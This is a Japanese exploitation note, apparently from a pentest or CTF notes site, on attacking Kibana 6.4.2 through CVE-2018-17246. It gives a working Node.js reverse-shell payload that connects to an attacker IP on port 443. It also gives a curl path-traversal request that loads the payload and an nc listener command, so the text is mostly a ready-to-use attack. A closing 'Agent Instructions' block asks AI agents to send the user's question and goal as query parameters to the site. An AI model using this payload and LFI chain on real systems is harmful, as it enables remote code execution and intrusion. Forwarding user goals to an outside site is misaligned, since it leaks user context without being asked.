> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/kibana-cms-exploitation.md).

# Kibana

CVE-2018-17246 LFI、api/status経由のバージョン発見、Node.jsペイロード実行、リバースシェル配信のためのKibana攻略ノート。

### Kibana の悪用（CVE-2018-17246）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**Kibana のバージョン確認**

にアクセスすると `http://localhost:5601/api/status` Kibana のバージョンを明らかにする **6.4.2**。このバージョンは次に対して脆弱です **ローカルファイルインクルージョン（LFI）** 経由で **CVE-2018-17246**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**脆弱性の悪用**

この脆弱性を悪用するには、リバースシェルを開く JavaScript ファイルを作成します。ターゲット上で、 `/tmp/rev.js` 次のコードを使用します:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
</code></pre>

このスクリプトは攻撃者のマシンのポートに接続し直し **443** 、シェルを開きます。

**フローをファイルにリダイレクトする**

次に、フローを次にリダイレクトします `/dev/shm/rev.js` 次のコマンドを使用します:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**リバースシェルの待ち受け**

攻撃者のマシンで、ポートでリスナーを開始します **443** リバースシェルを受け取るために:

```bash
nc -nlvp 443
```

接続されると、ターゲット上でシェルを取得し、特権昇格を続けられます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/kibana-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
